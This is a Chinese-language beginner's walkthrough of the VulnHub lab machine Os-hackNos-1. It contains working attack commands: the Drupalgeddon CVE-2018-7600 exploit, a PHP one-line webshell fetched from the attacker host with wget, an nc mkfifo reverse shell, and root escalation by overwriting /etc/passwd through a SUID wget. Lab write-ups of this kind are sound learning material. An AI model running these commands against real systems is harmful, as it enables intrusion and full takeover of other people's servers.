vulnhub靶机练习-Os-hackNos-1,超详细使用
第一次写自己总结的文章,之后也会有更新,目前还在初学阶段。
首先介绍一下靶机,靶机是 vulnhub Os-hackNos-1
简介: 难度容易到中, flag 两个 一个是普通用户的user.txt 另外一个是root用户的user.txt
靶机的地址:https://www.vulnhub.com/entry/hacknos-os-hacknos,401/
有的靶机可能打开无法获取IP,我们需要使用方法来进入到靶机内,修改信息。
开始过程:
1.去靶机的网站进行下载,一个是直接下载,一个是磁力链接。
2.在这个页面一直按shift然后按e进入页面
3.将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入页面
4.查ip发现查不到,记住网卡的名称,准备修改配置信息
5.vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡,把这两个都改成 ens33
6.然后/etc/init.d/networking restart 重启网卡服务
7.最后按ctrl+alt+del,进行重启
接下来开始正式的操作
首先看ip然后扫描这个ip段,看靶机的IP地址是多少
发现靶机ip和其他的不同
使用nmap扫描:nmap -sV -sC -A 192.168.0.8 -oA oshacknos1
发现开放22和80端口,尝试访问
使用火狐访问,firefox http://192.168.0.8
访问成功
先使用目录扫描器,查看后台目录,发现gobuster没有安装,先安装。apt install gobuster
输入命令gobuster dir -u http://192.168.0.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
发现存在一个/drupal的页面
访问成功。http://192.168.0.8/drupal/
获取到了后台,是drupal一个php的内容管理系统。可以下载一个系统来查看他的后台有那些目录,或者去查找相关的目录。
发现版本为7.57,可以网上查找是否存在exp。
在github上发现了exp,https://github.com/pimps/CVE-2018-7600
创建一个文件夹,来安装exp。命令git clone https://github.com/pimps/CVE-2018-7600.git
使用python3来打开,输入-h参数。python3 drupa7-CVE-2018-7600.py -h
发现有很多参数,这里一般填写url即可。
positional arguments:
target URL of target Drupal site (ex: http://target.com/)
optional arguments:
-h, --help show this help message and exit
-c COMMAND, --command COMMAND Command to execute (default = id)
-f FUNCTION, --function FUNCTION Function to use as attack vector (default = passthru)
-p PROXY, --proxy PROXY Configure a proxy in the format http://127.0.0.1:8080/ (default = none)
输入url之后,默认输入了id,返回了用户www-data。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/
这里的-c参数可以执行系统命令。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c whoami
查看目录文件。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c ls
访问数据库文件的页面。http://192.168.0.8/drupal/sites/
查看数据库文件。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c "cat sites/default/settings.php"
获取到了账号密码文件
* @code
* array(
* 'driver' => 'mysql',
* 'database' => 'databasename',
* 'username' => 'username',
* 'password' => 'password',
* 'host' => 'localhost',
* 'port' => 3306,
* 'prefix' => 'myprefix_',
* 'collation' => 'utf8_general_ci',
* );
* @endcode
在获取账号的同时也可以在对目录进行更深的扫描。gobuster dir -u http://192.168.0.8/drupal -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
在之前创建的文件夹目录下,创建config.txt文件,写入账号和密码。
编写一个php文件的一句话。<?php system($_POST['knife']);?>
开启python自带的httpserver,查看ip地址。python -m SimpleHTTPServer
要在靶机上上传这个木马文件,尝试访问,访问成功。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c "wget http://192.168.0.3:8000/qq.php"
上传成功
在抓代理之前,设置火狐为中文,方便之后的查看
发现代理没有下载,搜索foxyproxy进行下载,点击添加即可。
在burp这个页面设置代理
上传之后,查看文件无法显示,抓包看一下。
更改提交的方法,使用change request method
成功获取,可以执行命令了,试着做一个反弹shell
先监听9001端口
使用nc的命令进行反弹shell。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
放到moon的这里。需要进行编码才可以。rm+%2ftmp%2ff%3bmkfifo+%2ftmp%2ff%3bcat+%2ftmp%2ff%7c%2fbin%2fsh+-i+2%3e%261%7cnc+192.168.0.3+9001+%3e%2ftmp%2ff
获取成功
对shell进行一个切换,-c导入模块pty,最后登录成功
python3 -c 'import pty;pty.spawn("/bin/bash")'
查看id和ls目录,查看/etc/passwd 下的目录,发现有一个james的用户,查看内容
查看user.txt,发现第一个flag。bae11ce4f67af91fa58576c1da2aad4b
试着访问root目录发现没有权限。继续查看其他文件,看看有没有可疑文件。
返回上一级目录查看文件,发现一个alexander.txt的文件。
查看文件发现为一些密文,可以使用burp来进行解密,发现可以使用base64位来进行解密
解密内容:+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
>+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
++.<
使用百度进行查询发现是一种编码格式进行解密。
获得账号。james:Hacker@4514
保存账号到目录下
尝试登录,发现无法登录
想起之前有开放22端口,试着ssh登录,发现也是不行
没有其他办法了,试着提权,先看看suid提权,需要搜索到,带有s的文件,开始查找。find / -perm -u=s -type f 2>/dev/null
发现这里有一个wget,是可以下载文件的,普通用户也可以执行,可以用来替换我们的/etc/password。
把整个passwd先复制出来,然后在baji1的文件夹里创建一个passwd,粘贴进去。
创建一个用户
将root的格式复制出来,使用knife来进行使用
root:x:0:0:root:/root:/bin/bash
knife:$1$knife$C950ul0bfwnJsvgk7oiF/0:0:0:root:/root:/bin/bash
保存到创建的passwd里面
访问本地的端口,查看文件是否可以访问
下载到我们的目标靶机上,把passwd进行替换就可以了。命令wget http://192.168.0.3:8000/passwd -O /etc/passwd
打开passwd发现修改成功
使用knife进行登录,用户权限变成root,修改成功
返回主目录,打开root.txt。获取flag
查看一下ssh,发现ssh防护做的很好,只需要把目录给增强一下即可。
总结
1.第一次进行靶机的渗透,有需要地方还不熟悉,工具也是在过程中安装的没有事先安装。
2.过程中遇到了很多问题,文件上传的问题,nc反弹shell的问题等问题,这些问题在渗透中,都需要去查找资料,慢慢一步一步的去做。
3.总的来说,第一次靶机很艰难,但也十分有趣,能学习到很多知识,对自身也有很大的提升。